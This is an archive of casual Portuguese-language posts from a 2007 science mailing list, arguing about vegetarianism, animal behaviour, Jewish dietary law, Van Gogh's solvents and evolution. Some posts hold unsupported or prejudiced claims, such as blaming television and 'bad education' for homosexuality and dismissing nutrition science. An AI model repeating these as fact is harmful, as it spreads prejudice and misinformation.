SUBJECT: Re: P/Romano
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/02/2007 19:22

Buda inclusive morreu de uma congestão , devido à carne de porco.Seus
discípulos é que levam a serio essa coisqa de que não devemos matar
nem uma barata

Sds,Romano


--- Em ciencialist@yahoogrupos.com.br, "Silvio" <scordeiroes@...> escreveu

>
>
>
> Não sou discipula de ninguém, não sigo religião nenhuma.
>
> E Buda comia carne, não é exemplo para mim.
>




SUBJECT: Re: Tartarugas, mamutes, e o engano de Jose Renato (era Drauzio Varella - Folha
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/02/2007 19:29

O que que é isso?
Jamais nos adaptamos ao frio? Nenhum animal o fez?

Sds,Romano


--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...> escreveu

>
> JAMAIS nos adaptamos ao frio, nenhum animal jamais o fez. Mesmo os
mamutes lanudos não se adaptaram, apenas "restaram" na espécie,
descendentes de mamutes sem pelo, aqueles que, acidentalmente, tinham,
através da loteria genética, mais pelos naquele momento.




SUBJECT: Re: P/ bruna - OFF Topic: a questão da carne, minha resposta
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/02/2007 20:00

Não existe no mundo animal, algum grupo que discrimina os
homossexuais? Os homossexuais humanos usam estes exemplos para validar
o homossexualismo. Se bem que homossexual não é bem o termo certo
entre os animais, o correto seria bissexualismo

Abs,Romano


--- Em ciencialist@yahoogrupos.com.br, "Silvio" <scordeiroes@...> escreveu
>
> Bruna:
> Há dias escrevi sobre isso.
> A homosexualidade entre animais é prática comum entre mamíferos (que
eu saiba) e é apenas, ao que parece, uma atividade lúdica: é muito
comum entre cavalos e cães.
> Entre os primatas de grande porte que vivem em grupos de diversas
fêmeas e apenas um macho, é comum, quando esse macho começa a ficar
valho, que os jovens, mais ousados, o enfrentem, querento ocupar o
lugar dele. Entretanto o combate é quase sempre ritualístico,
demonstração de força sem causar danos graves ao oponente que, para
render-se, vira de costas e oferece a bunda para o vencedor, num ato
de humilhação. E se retira de cena.
> A prática do ato sexual entre animais também é vista entre fêmeas
primatas que se masturbam e machos que tambem praticam o onanismo.
> Ainda passarão muitos anos até que tenhamos um conhecimentoi mais
profundo desses procedimentos pois só agora, estamos dando os
primeiros passos no estudo da evolução dos seres vivos.
> As teorias, quaisquer que sejam, são boas porquê forçam o pensamento
e a pesquisa embora mesmo sobre o homosexualisto entre os humanos,
ainda não haja uma interpretação definitiva.
> E te conto um causo:
> Aos 21 anos fui trabalhar na construção de uma enorme siderúrgica
que tinha no canteiro de obras uns 3.000 homens e nenhuma mulher. Eu
morava num alojamento onde era hábito o pessoal sair do quarto nu,
apenas com a toalha no ombro, indo pro banho. Nos primeiros anos, onde
o trabalho era pesado, JAMAIS houve um caso de pederastia que fosse do
conhecimento do grupo. Veja: entre 3.000 indivíduos. Isso tem bons
anos....
> Se fosse hoje, pelo menos 20% (chuto) seriam homosexuais. E, minha
cara, não é Freud que explica isso: grande parte cabe à má educação, à
rede Globo e suas novelas, os hábitos da vida noturna que só começou
após a revolução: antes, homem ia a bordel e não a festas have (?),
hip-hoc e outras proliferações dos maus costumes.....
>
> sds.,
>
> silvio.
> ----- Original Message -----
> From: Bruna Carolina Ribas
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, February 08, 2007 9:28 PM
> Subject: Re: [ciencialist] Re: P/ bruna - OFF Topic: a questão da
carne, minha resposta
>
>
> Silvio, e que objetivos tem a homosexualidade no reino dos animais
> (humanos e não-humanos)?
>
> Silvio <scordeiroes@...> escreveu: Cinema é uma coisa, a realidade
outra: não existe nenhuma realidade no cinema pois os interesses
técnicos têm prioridade.
> Todos os seres vivos têm apenas um objetivo: sua reprodução, sua
expersão pelo mundo de forma que só obedeçam aos limites impostos pela
própria natureza: exemplo: o homem.
>
> sds.,.
> silvio
> ----- Original Message -----
> From: rmtakata
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, February 08, 2007 4:38 PM
> Subject: [ciencialist] Re: P/ bruna - OFF Topic: a questão da
carne, minha resposta
>
> --- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@>
> > NENHUM outro ser vivo tem a MENOR compaixão ou cuidado com a dor ou
> > sobrevivência de outras espécies.
>
> Misomenos. Tem um registro bastante interessante de um hipopótamo q
> avança sobre um crocodilo q atacava um filhote de gazela (impala). O
> crocodilo larga a presa. E o hipopótamo parece tentar ajudar a
gazela a
> ficar de pé (q morre ao final).
>
> http://www.youtube.com/watch?v=ENWp0Q2RkTA
>
> Meio difícil avaliar o q exatamente se passou pela cabeça do
hipopótamo.
>
> []s,
>
> Roberto Takata
>
> ----------------------------------------------------------
>
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> Version: 7.1.411 / Virus Database: 268.17.27/671 - Release Date:
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> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
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> [As partes desta mensagem que não continham texto foram removidas]
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>
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>




SUBJECT: Re: A alimentação dos judeus
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/02/2007 20:05

Ou José Renato e Eurico. A multiplicação para dos paes é uma passagem
alegórica. Na verdade pão e peixe eram símbolos usados pelas ordens
iniciáticas, para designar o alimento espiritual, e não ao orgânico

Quando Jesus disse, comeram e ficaram fartos, quer, dizer, fartos de
luz, sairam dali com a compreensão espiritual

O peixe inclusive representava vida, e o fermento do pão a
espiritualidade que cresce. São palavras simbólicas, os judeus usavam
de símbolismos. Não existia cristão, jesus não era cristão :-) Ele
queria a renovação do judaísmo e fundou uma nova base proposta por ele

Abs,Romano


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu

> homem.
>
> ps: sobre o milagre da multiplicação dos pães e peixes tenho
> uma explicação que ouvi e achei interessante: todo mundo
> foi pro deserto ouvir a palestra do messias, alguns levaram
> comida e ficaram sem graça de comer ao lado dos outros
> (não deviam ter ambulantes...). vendo a saia justa, jesus
> pediu que todos que tivessem pães e peixes (escondidos)
> trouxessem pra frente, daí a comida que só alimentaria alguns,
> dividida, deu pra todo mundo. fim. sem mágica.
> JR - A frase de Jesus aos apóstolos é clara e direta: "Dai-lhes vós
mesmos
> de comer".(Mc 6,37) O garoto ainda sem malícia foi o primeiro a
mostrar e
> dispor suas posses, mostrando o caminho para o milagre da partilha.
>




SUBJECT: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/02/2007 22:17

Silvio:
pra mim safo é uma gíria muito antiga ( uns 45 anos ), entre SP e MG.
Sem marinha.
Desistí de entrar na marinha p/encarar a legião estrangeira...
Eu queria é confusão.
Só que pouco antes disso, falou mais alto a minha educação... Fiquei +
sossegado! Me safei! :[
E vc, é marinheiro?
abr/M.


>From: "Silvio" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>Date: Mon, 12 Feb 2007 16:28:01 -0300
>
>Murilo:
>vs. é da marinha? (safo)
>
>silvio
>
> ----- Original Message -----
> From: murilo filo
> To: ciencialist@yahoogrupos.com.br
> Sent: Thursday, February 08, 2007 9:54 PM
> Subject: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
>
>
>
>
> Eu também sabia... Estou safo!
>
> Atividade nos últimos dias
> a.. 1Novos usuários
> b.. 1Novas fotos
> Visite seu Grupo
> Yahoo! Mail
> Conecte-se ao mundo
>
> Proteção anti-spam
>
> Muito mais espaço
>
> Yahoo! Barra
> Instale grátis
>
> Buscar sites na web
>
> Checar seus e-mails .
>
> Yahoo! Grupos
> Crie seu próprio grupo
>
> A melhor forma de comunicação
>
> .
>
>
>
>------------------------------------------------------------------------------
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>5/2/2007
>
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.hpg.ig.com.br
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: Aos químicos(Tintas e solventes tóxicos- pintura em tela)
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/02/2007 22:27

A única pessoa que fiquei sabendo que comia suas tintas e ainda tomava
um composto da terebentina(solvente usado pintura), chamado pineno,
para acalmar sua insônia foi Van Gogh...ahauahauahuahauahuahaua

Como neste artigo sobre solventes a base de tolueno e inclusive fala
sobre a intoxicação de Van Gogh

http://www.scielosp.org/scielo.php?script=sci_arttext&pid=S0034-89101994000200011

E este outro artigo científico menciona Van Gogh que bebia uma mistura
contendo pineno( um componente da terenbentina) para aplacar sua
insônia...acredito que Van Gogh fazia seus proprios solventes e tintas

http://www.scielo.br/scielo.php?pid=S0100-40422002000400015&script=sci_arttext

Abs,Romano


--- Em ciencialist@yahoogrupos.com.br, "Esteban Moreno"
<estebanlmoreno@...> escreveu

> Mas se ninguém comer com frequencia as suas tintas, elas não terão
> qualquer efeito nocivo, pois esses compostos de chumbo são muuuuito
> insolúveis. Estes podem estar sim, sendo ainda usados. Se não estão
> colocando no rótulo, é bem provável que estejam com medo da reação do
> público.
> È muito fácil detectar a presença de metais pesados em suas tintas,
> desde que você tenha acesso a um equipamente de fluorescência atômica
> ou absorção atômica. È batata.
> Um abraço,
> Esteban.
>




SUBJECT: Re: [ciencialist] Re: P/ Romano - OFF Topic: a questão da carne, minha resposta
FROM: "Silvio" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
CC: GRUPO DE ESTUDOS DA HISTÓRIA DO BRASIL - GEHB <grupohistoriadobrasil@yahoo.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 12/02/2007 22:55

Romano:
Vs. escreve como se estivesse no tempo dfe Nero: principal bem de consumo nos humanos são os alimentos. Existem, pelo mundo, milhares de fábricas, com excelentes laboratórios de pesquisas - O Brasil tem na Embrapa o maior orgulho que podemos ter nessa terra arrazada, pesquisados da mais alta capacidade procurando alimentos cada vez mais saudaveis e mais baratos simplesmente porquê é um bom negócio.

Dizer que a ciência não entende de nutrição é um demérito à sua pessoa: e saiba que a nutrição inclui o bem estar do corpo o que nos leva tambem aos produtos farmacêuticos.
Só a Embrapa já conseguiu dobrar diversas safras do brasil, barateando os custos: o que falta é vergonha na cara dos quadrilheiros do congresso e do executivo para a reforma consistente das estradas para o escioamento da produção.
Quanto à sanidade dos produtos, ol governo cobra quase 40% de impostos inclusive para fiscalizar a qualidade da alimentação - Veja, nobre tribuno, quarenta por cento é quase metade do que produzimos!!!!

Não me venha com falácias, pense antes de escrever. Só as pesquisas com milho, feitas há anos pela embrapa aumentou em dezenas de vezes nossa produção...

Você deve ser católigo e petista para falar. Vou lhe dar uma diga de gratis: Vocês que mandam no Brasil, façam uma lei que autorize o uso de todos os lotes vagos de uma cidade para palntação de ortaliças, pelos alunos das escolas públicas e com apôio de técnicos da Prefeitura: se o dono precisasr do terreno, avisa com antecedência para que a safra seja colhida e não se plante mais: garantir o direito à propriedade mas tambem garantir o direito de o povo se alimentar e criar atividades extracurriculares para a garotada.

Isso, ilustre tribuno, é PENSAR.

SDS.,

silvio, capiau honorário.
----- Original Message -----
From: romano_170
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 09, 2007 9:30 PM
Subject: [ciencialist] Re: P/ Romano - OFF Topic: a questão da carne, minha resposta


A ciencia entende tanto de nutrição assim como entende de uma gripe.
Ou seja, quase nada. Não é uma acusação, é um fato.
Ninguém foi encurralado, já sei foi demo0nstrado aqui, principalmente
através de estudos científicos que a anemia nao é algo exclusivo do
vegetarianismo, e não houve enenhuma refutação ao texto
http://www.ajcn.org/cgi/content/abstract/78/3/633S?ct

Acho que o sr Takata apenas joga com os números , mas não expressa a
realidade, teórico demais para a questão, aí a gente cansa de debater,
porque se está falando uma coisa e se pula para outra que não tem nada
haver com a questão, e a coisa ficar circular demais, então o
subuterfúgio não é meu

Abs, Romano

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Romano
>
> Romano: "É igualzinho aquela história de que café dá cancer, e depois
> apresentam um estudo dizendo que café faz mal pro coração, outros já
> dizem que fazem bem, e nunca se chega a conclusão nenhuma. A propria
> ciencia é confusa neste aspecto"
>
> Putz, essa é a acusação/fuga recorrente mais disparatada que é feita
> contra a ciência! Toda vez que alguém chega a um beco sem saída
> lógico, encurralado por dados concretos e evidências acachapantes,
> acaba apelando para o famigerado "mas os cientistas toda hora mudam de
> idéia"..:-)
>
> Bem, café PODE causar câncer e ainda assim fazer mal ao coração, e ao
> MESMO TEMPO ser um estimulante saudável para o cérebro. Ninguém
> combinou com o café que ele SÓ pode agir de uma ÚNICA forma.
>
> Além disso, existe enorme diferença entre o que e mídia publica, a
> partir de estudos científicos, e as conclusões e dados do próprio
> estudo. Um estudo sobre café, por exemplo, informa que, dentro de
> condições controladas, com este e este parametro, com pacientes com
> determindas condições, em ambiente controlado, pode, em uma
> determinada porcentagem, causar este e aquele efeito, mas que ainda é
> necessário mais estudos de confirmação.
>
> A manchete? Cientistas dizem que café é bom para a próstata..:-)
>
> No outro mês, outro estudo, com outros objetivos e outros parâmetros,
> produz conclusões cuidadosas e ponderadas, e também alerta para a
> necessidade de mais dados e estudos. Mas a nova manchete na mídia é:
> Cientistas mudam de idéia e não dizem nada sobre café e a próstata..:-)
>
> Saber o que a ciência e cientistas dizem sobre qualquer coisa exige
> esforço de ler e estudar os artigos científicos, estudos,
> experimentos, etc, publicados em revistas científicas, não ler
> manchetes de cadernos de jornais, com todo tipo de distorção e bobagens.
>
> E ser "avesso a cálculos" é meio caminho andado para se dar mal e ser
> enrolado por todos os lados.
>
> Um abraço.
>
> Homero
>
>
>
> --- Em ciencialist@yahoogrupos.com.br, "romano_170" <romano_170@>
> escreveu
> >
> > Eu sou avesso a esses calculos, cada nutricionista tem um calculo
> > aproximado diferente para esta questão. É igualzinho aquela história
> > de que café dá cancer, e depois apresentam um estudo dizendo que café
> > faz mal pro coração, outros já dizem que fazem bem, e nunca se chega a
> > conclusão nenhuma. A propria ciencia é confusa neste aspecto
> >
> > Abs,Romano
> >
> > --- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@>
> > escreveu
> > >
> > > --- Em ciencialist@yahoogrupos.com.br, "romano_170" <romano_170@>
> > > > 200 g é muito.
> > >
> > > Essa conta é para o Fe apenas da carne. Pode-se limitar para 150
g de
> > > carne, nesse caso teremos 0,56 * 1,5 = 0,84 mg. Presto, agora é mais
> > > fácil obter 0,16 mg de ferro através de vegetais, do q ter q obter
> > > todo o 1 mg somente com vegetais - e o bife já fez sua contribuição.
> > >
> > > > "É aqui o ponto chave da questão! O ferro da carne é 60% não-heme
> > > > (igual ao dos vegetais!!) e 40% heme. Portanto, se a questão de
> > >
> > > Essa questão não é importante, pois já estamos considerando tudo
isso
> > > ao usar a absorção de 20%.
> > >
> > > []s,
> > >
> > > Roberto Takata
> > >
> >
>






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: P/ Romano - OFF Topic: a questão da carne, minha resposta
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 12/02/2007 23:11

Mas eu apoio o Embrapa, a minha linha de argumentação, segue a linha
do Embrapa . A única pessoa que aqui que tem mania de refutar
instituições de pesquisa e especialistas é o Takata, mesmo fora da
área dele, o que não deixa de ser um desreipeito ao trabalho dos
oputros, já que ele não tem capacitação profisional prática naquilo
que refuta(pegar links na internt não demonstra nada). Ele é sempre o
*du contra* a qualquer informação que parta de centro de pesquisas, só
o que ele posta tem valor. Existem dúzias de pesquisas conflitantes,
mas a ciência usa aquelas que tem mais valor experimental. Então até
que as pesquisas que o Takata acha na internet tenha algum valor, é
preciso que elas sejam exaustivamente testadas até que passe a
incorporar ao conhecimento científico.

Inclusive estas pesquisas não para se imterpretadas de modo fixo e
dogmático, só porque aponta uma valor tem de ser exatamente assim na
realidade, é preciso testas toda as gamas de variáveis possíveis. e
certas pesquisas apenas tem valor dentro daquela determinada variável.
Então se o sujeito manda links durante uma discussão só para tornar
mais válido o ponto de vista dele, e menosprezar o que ainda se usa em
ciência tem de ter jogo de cintura e sabedoria para usar isso. E não
dizer que coisa é pau a pau e ferro a ferro

Quando escrevi o texto abaixo quis dier que a ciência da nutrição não
tem avançado como as outras ciências, mas nos últimos anos tem
acelerado bastante.

Abs,Romano

--- Em ciencialist@yahoogrupos.com.br, "Silvio" <scordeiroes@...> escreveu
>
> Romano:
> Vs. escreve como se estivesse no tempo dfe Nero: principal bem de
consumo nos humanos são os alimentos. Existem, pelo mundo, milhares de
fábricas, com excelentes laboratórios de pesquisas - O Brasil tem na
Embrapa o maior orgulho que podemos ter nessa terra arrazada,
pesquisados da mais alta capacidade procurando alimentos cada vez mais
saudaveis e mais baratos simplesmente porquê é um bom negócio.
>
> Dizer que a ciência não entende de nutrição é um demérito à sua
pessoa: e saiba que a nutrição inclui o bem estar do corpo o que nos
leva tambem aos produtos farmacêuticos.
> Só a Embrapa já conseguiu dobrar diversas safras do brasil,
barateando os custos: o que falta é vergonha na cara dos quadrilheiros
do congresso e do executivo para a reforma consistente das estradas
para o escioamento da produção.
> Quanto à sanidade dos produtos, ol governo cobra quase 40% de
impostos inclusive para fiscalizar a qualidade da alimentação - Veja,
nobre tribuno, quarenta por cento é quase metade do que produzimos!!!!
>
> Não me venha com falácias, pense antes de escrever. Só as pesquisas
com milho, feitas há anos pela embrapa aumentou em dezenas de vezes
nossa produção...
>
> Você deve ser católigo e petista para falar. Vou lhe dar uma diga de
gratis: Vocês que mandam no Brasil, façam uma lei que autorize o uso
de todos os lotes vagos de uma cidade para palntação de ortaliças,
pelos alunos das escolas públicas e com apôio de técnicos da
Prefeitura: se o dono precisasr do terreno, avisa com antecedência
para que a safra seja colhida e não se plante mais: garantir o direito
à propriedade mas tambem garantir o direito de o povo se alimentar e
criar atividades extracurriculares para a garotada.
>
> Isso, ilustre tribuno, é PENSAR.
>
> SDS.,
>
> silvio, capiau honorário.
> ----- Original Message -----
> From: romano_170
> To: ciencialist@yahoogrupos.com.br
> Sent: Friday, February 09, 2007 9:30 PM
> Subject: [ciencialist] Re: P/ Romano - OFF Topic: a questão da
carne, minha resposta
>
>
> A ciencia entende tanto de nutrição assim como entende de uma gripe.
> Ou seja, quase nada. Não é uma acusação, é um fato.
> Ninguém foi encurralado, já sei foi demo0nstrado aqui, principalmente
> através de estudos científicos que a anemia nao é algo exclusivo do
> vegetarianismo, e não houve enenhuma refutação ao texto
> http://www.ajcn.org/cgi/content/abstract/78/3/633S?ct
>
> Acho que o sr Takata apenas joga com os números , mas não expressa a
> realidade, teórico demais para a questão, aí a gente cansa de debater,
> porque se está falando uma coisa e se pula para outra que não tem nada
> haver com a questão, e a coisa ficar circular demais, então o
> subuterfúgio não é meu
>
> Abs, Romano
>
> --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
escreveu
> >
> > Olá Romano
> >
> > Romano: "É igualzinho aquela história de que café dá cancer, e
depois
> > apresentam um estudo dizendo que café faz mal pro coração, outros já
> > dizem que fazem bem, e nunca se chega a conclusão nenhuma. A propria
> > ciencia é confusa neste aspecto"
> >
> > Putz, essa é a acusação/fuga recorrente mais disparatada que é feita
> > contra a ciência! Toda vez que alguém chega a um beco sem saída
> > lógico, encurralado por dados concretos e evidências acachapantes,
> > acaba apelando para o famigerado "mas os cientistas toda hora
mudam de
> > idéia"..:-)
> >
> > Bem, café PODE causar câncer e ainda assim fazer mal ao coração,
e ao
> > MESMO TEMPO ser um estimulante saudável para o cérebro. Ninguém
> > combinou com o café que ele SÓ pode agir de uma ÚNICA forma.
> >
> > Além disso, existe enorme diferença entre o que e mídia publica, a
> > partir de estudos científicos, e as conclusões e dados do próprio
> > estudo. Um estudo sobre café, por exemplo, informa que, dentro de
> > condições controladas, com este e este parametro, com pacientes com
> > determindas condições, em ambiente controlado, pode, em uma
> > determinada porcentagem, causar este e aquele efeito, mas que
ainda é
> > necessário mais estudos de confirmação.
> >
> > A manchete? Cientistas dizem que café é bom para a próstata..:-)
> >
> > No outro mês, outro estudo, com outros objetivos e outros
parâmetros,
> > produz conclusões cuidadosas e ponderadas, e também alerta para a
> > necessidade de mais dados e estudos. Mas a nova manchete na mídia é:
> > Cientistas mudam de idéia e não dizem nada sobre café e a
próstata..:-)
> >
> > Saber o que a ciência e cientistas dizem sobre qualquer coisa exige
> > esforço de ler e estudar os artigos científicos, estudos,
> > experimentos, etc, publicados em revistas científicas, não ler
> > manchetes de cadernos de jornais, com todo tipo de distorção e
bobagens.
> >
> > E ser "avesso a cálculos" é meio caminho andado para se dar mal
e ser
> > enrolado por todos os lados.
> >
> > Um abraço.
> >
> > Homero
> >
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "romano_170" <romano_170@>
> > escreveu
> > >
> > > Eu sou avesso a esses calculos, cada nutricionista tem um calculo
> > > aproximado diferente para esta questão. É igualzinho aquela
história
> > > de que café dá cancer, e depois apresentam um estudo dizendo
que café
> > > faz mal pro coração, outros já dizem que fazem bem, e nunca se
chega a
> > > conclusão nenhuma. A propria ciencia é confusa neste aspecto
> > >
> > > Abs,Romano
> > >
> > > --- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@>
> > > escreveu
> > > >
> > > > --- Em ciencialist@yahoogrupos.com.br, "romano_170"
<romano_170@>
> > > > > 200 g é muito.
> > > >
> > > > Essa conta é para o Fe apenas da carne. Pode-se limitar para 150
> g de
> > > > carne, nesse caso teremos 0,56 * 1,5 = 0,84 mg. Presto,
agora é mais
> > > > fácil obter 0,16 mg de ferro através de vegetais, do q ter q
obter
> > > > todo o 1 mg somente com vegetais - e o bife já fez sua
contribuição.
> > > >
> > > > > "É aqui o ponto chave da questão! O ferro da carne é 60%
não-heme
> > > > > (igual ao dos vegetais!!) e 40% heme. Portanto, se a
questão de
> > > >
> > > > Essa questão não é importante, pois já estamos considerando tudo
> isso
> > > > ao usar a absorção de 20%.
> > > >
> > > > []s,
> > > >
> > > > Roberto Takata
> > > >
> > >
> >
>
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SUBJECT: Re: [ciencialist] P/Homero, um conselho:aprenda ética primeiro...
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 12/02/2007 23:18

Olá, Victor!
Moisés, pode ser considerado como um legislador, tal como Hamurabi e Talião.
Posteriormente tivemos Péricles na Grécia Antiga e Lisandro em Esparta. As
regras-leis rígidas de Lisandro fizeram Esparta um estado unido e forte
durante quatro séculos.
Ao lermos o Pentateuco, percebemos a estruturação da civilização judaica. Os
sacerdotes-levitas eram os médicos, açougueiros, políticos, juízes,
sanitaristas, professores, monetaristas, economistas do povo judeu. Durante
os 40 anos no deserto, após a fuga do Egito, Moisés teve muito trabalho.
Detalhou até, que as necessidades fisiológicas como defecar, deveriam ser
feitas fora do acampamento, para que Deus não sujasse os pés quando viesse
passear nele. Os ritos de purificação eram parte importante da Torah. Lavar
as mãos antes das refeições, lavar os pés ao chegar em casa, ficar isolados
por sete dias com banhos diários os que tocaram em sangue ou em cadáver. O
controle da lepra era feita com rigor pelos sacerdotes-levitas. O altar de
sacrifícios no Templo em Jerusalém mais parecia um matadouro, onde eram
imolados aves, ovinos, caprinos, bovinos e o sangue escorria em canaletas
laterais para ser coletado, enterrado ou queimado.
Acredito que todo esse conhecimento seja empírico, coletado ao longo do
tempo pela tribo escolhida para essas atribuições
"administrativas-religiosas-ritualísticas". Semelhante à sabedoria dos pajés
dos nossos nativos. Imagino que no início da civilização a pessoa mais
observadora e prudente mantinha um braseiro em sua caverna ou choupana, onde
os demais iam pedir fogo quando necessitavam. Esse cara tornava-se
referência na aldeia, se comunicava com todos e era respeitado. É o
protótipo do pajé, feiticeiro, curandeiro, sacerdote ou juiz.

Abraços

José Renato
......................................................

From: "Victor" <jvoneto@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 6:51 AM
Subject: Re: [ciencialist] Re: P/Homero, um conselho:aprenda ética
primeiro...


JR,
E quais as razões científicas, para a montagem das normas de consumo abaixo,
que imagino sejam rígidas? Pressupõe-se seja o resultado de um profundo
conhecimento da constituição de tal ou qual tipo de carne, de modo que uns
podem, outros não, com certeza. Seriam tais regras, assim, de cunho
científico ou religioso? Não havia conhecimentos a respeito, nem atinavam
como descobrí-los, naquelas épocas. Mas, segundo consta, Moisés teria
proibido ingestão de certas "guloseimas". Imagino que ele, se existiu mesmo,
era um cara inteligente e estava preocupado com a saude daquele montão de
pessoas andando pelo deserto, sem condições de higiene; não havia nem um
matinho para se esconderem, na hora dos alívios!. Já pensou, ao comerem uma
carne suculenta de porco doente, com alguma bactéria, tipo "bexiga", como é
comum nesses animais? Já pensou, também, se desse almoço adviesse uma dor de
barriga generalizada?. Acho que teria ficado o rastro fossilizado das
consequências, milhões delas no coitado do deserto, e a arqueologia já
teria encontrado tais produtos devidamente fossilizados! Mas, Moisés, que
não era besta, não queria presenciar milhões de fiéis fugitivos correndo de
um lado para outro, para se esconderem em lugar nenhum, que é o que existe
num deserto... Grandes cenas. Deveria ser um alvoroço, putz!.
Moisés deveria, portanto ser aclamado como o primeiro sanitarista da
história, quem sabe, até um Nobel.

Sds,
Victor.


----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Monday, February 12, 2007 12:06 AM
Subject: Re: [ciencialist] Re: P/Homero, um conselho:aprenda ética
primeiro...


A alimentação dos judeus era um rito que iniciava desde a escolha, modo de
preparar, etc. Isso está nos livros do Gênese e mais detalhado no
Levítico,
que no cap. 11 descreve em detalhes aos pertencentes à tribo escolhida
para
sacerdotes, serviços, ritos religiosos e ao povo em geral, quais são os
animais puros e os impuros. Peixes e animais aquáticos, só os de escamas e
barbatanas eram permitidos consumir. Os de pele e os mariscos, não. Os
ruminantes ou não, dependem dos cascos ou das unhas fendidas ou não. Os
porcos têm a unha fendida e o pé dividido...
Abraços
José Renato
...........................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, February 09, 2007 12:34 AM
Subject: [ciencialist] Re: P/Homero, um conselho:aprenda ética primeiro...

--- Em ciencialist@yahoogrupos.com.br, "romano_170" <romano_170@...>
> com certeza que há evidencias dos judeus, e que judeus comiam carne
> e peixe

Há até o relato mítico da multiplicação dos peixes. Se Jesus não comia
peixe, pela história, certamente não fazia objeções q os outros comessem.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: "Silvio" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
CC: <Conversa_de_Botequim@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 12/02/2007 23:18

Renato:

Pra não gastar muito latim, sob minha ótica evolução é uma necessidade que os organismos desde os nomocelulares aos mais complexos como o homem evoluem por sua intrínseca necessidade de se reproduzir e dominar o meio ambiente: veja a evolução dos humanos, dos primatas, dos dinossauros, hoje belas aves....
Óbvio que não discutirei com você este assunto, seu conhecimento é muito mais vasto do que eu que inclusive - vs. sabe - já estou com os neurônios avariados.

Não considero a evolução acompanhamento de um evento pois não temos essa capacidade temporal para tal observação: observe que na astronomia as motificações nas coisas do espaço são acompanhadas por comparações de corpos, raramente se tem uma prova cabal como um cometa, a explosão de uma estrela....

E me desculpe, mas nenhuma evolução tem um observador: os humanos, os observadores atuais têm um tempo de vida útil bem reduzidos frente aos problemas evolutivos. A evolução, sonsiderando-se a vida desde o início da biosfera já sofreu milhões de mutações com o desaparecimento de milhares ou milhões de espécies, sendo esse a necessidade da incessante luta evolutiva para que se mantenha o serr com a melhor condição possível.
O homem, uma aberração por ter, em razão do bipedalismo uma evolução mais acelerada, ainda se julga proprietário do planeta e transforma o ambiente em seu bordel:
não preferiu a harmonia com os demais companheiros de jornada... Creio, caro amigo, que no atual andamento, em 500 anos os insetos herdarão a terra.....
Não existem observadores da evolução a não ser extraterrestres: existem curiosos que fazem suposições sobre pouquíssimas evidências que a ciência desperta.

um abraço, desculpe a prolixidade: hoje tou arretado....

silvio.
----- Original Message -----
From: Jefferson
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, February 10, 2007 9:56 AM
Subject: Re: [ciencialist] Drauzio Varella - Folha de São Paulo - 03/02/2007


>
>Olá, Silvio!
>Parece-me que o entendimento do termo *evolução* está contaminado por
>expectativas pessoais. A rigor, evolução é o acompanhamento de uma evento
>ou
>de algo minimamente definido, ao longo do tempo. Em nosso entendimento
>diário coloquial, evolução tem a conotação de crescimento, melhoria,
>expansão, concretização, aprimoramento... Mas, o termo refere-se apenas às
>mudanças ocorrida em um período de tempo, sejam elas para "melhor" ou para
>"pior", a critério do observador.
>

Exato, José Renato! :-) No caso dos seres vivos, os DNAs sofrem alterações o
tempo todo, aleatoriamente, sem qualquer intenção de melhorar ou piorar.
Parte destas alterações são ruins, podendo até causar a extinção de uma
espécie, e parte são boas, favorecendo a sobrevivência de uma espécie. Tudo
isso "sem querer".

Evolução tem a conotação de melhoria porque, obviamente, vão sobrando as
alterações que favorecem a sobrevivência das espécies, que vão se acumulando
nos DNAs dos descendentes.

[]´,s
Jeff.






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SUBJECT: Re: [ciencialist] Re: PRÓSTATA: GUIA DO PROPRIETÁRIO
FROM: "Silvio" <scordeiroes@superig.com.br>
